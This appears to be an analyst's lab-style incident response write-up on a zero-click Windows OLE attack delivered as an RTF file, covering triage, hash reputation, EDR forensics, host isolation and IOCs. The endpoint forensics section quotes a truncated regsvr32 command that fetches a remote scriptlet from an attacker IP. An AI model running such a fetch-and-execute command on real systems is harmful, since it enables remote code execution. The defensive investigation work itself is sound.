Incident Response: Windows OLE Zero-Click RCE (CVE-2025-21298)

Project Overview

This project documents the end-to-end investigation and containment of a Critical-severity Zero-Click Remote Code Execution (RCE) attempt. Using EDR telemetry and threat intelligence, I identified a "Living off the Land" (LotL) attack that bypassed automated defenses and established command-and-control (C2) communication.

Key Objectives

• Triage high-priority SIEM alerts for Zero-Day exploits.
• Perform static analysis on weaponized RTF attachments.
• Conduct endpoint forensics to identify malicious process trees.
• Execute network isolation via EDR to contain active threats.

---

Incident Lifecycle Execution (NIST SP 800-61)

1. Detection & Initial Triage

I identified Event ID 314: Windows OLE Zero-Click RCE Detection. Initial telemetry revealed the malicious file mail.rtf was Allowed by the perimeter defenses, indicating an active compromise on the workstation 'Austin'.

2. Static Analysis & Threat Intelligence

I performed a reputation check of the file hash on VirusTotal. The results confirmed a 25/55 detection rate, specifically identifying the file as a weaponized RTF utilizing CVE-2025-21298. This vulnerability allows remote code execution via the Windows Preview Pane without user interaction.

3. Endpoint Forensics (Hunting the Payload)

I pivoted to the EDR terminal history for the host 'Austin' to identify post-exploitation behavior. I discovered a malicious "Living off the Land" (LotL) execution:

• Command: regsvr32.exe /s /u /i:http://84.38.130.118/...
• Analyst Insight: The attacker utilized a signed Windows binary (regsvr32.exe) to fetch a malicious script-let from a remote server, bypassing standard application whitelisting and traditional AV signatures.

4. Containment & Neutralization

Following the NIST Incident Response Framework, immediate containment was prioritized. I executed a Network Isolation on the affected host to terminate C2 communication and prevent lateral movement within the corporate network.

5. Resolution & Final Reporting

The incident was closed as a True Positive. I documented the Attacker IP (84.38.130.118) and the forensic evidence for the Threat Intelligence and Firewall teams to prevent future occurrences.

---

Indicators of Compromise (IOCs)

Type	Value
C2 IP Address	84.38.130.118
File Hash (SHA256)	df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184
Vulnerability	CVE-2025-21298
MITRE ATT&CK	T1218.010 - Signed Binary Proxy Execution: Regsvr32

Key Learnings

• Defense-in-Depth: Zero-click exploits prove why signature-based AV is insufficient for modern threats.
• Log Correlation: Successfully correlated SIEM alert data with EDR terminal logs to confirm active exploitation.
• EDR Proficiency: Practiced rapid host containment to minimize the "dwell time" of the threat actor.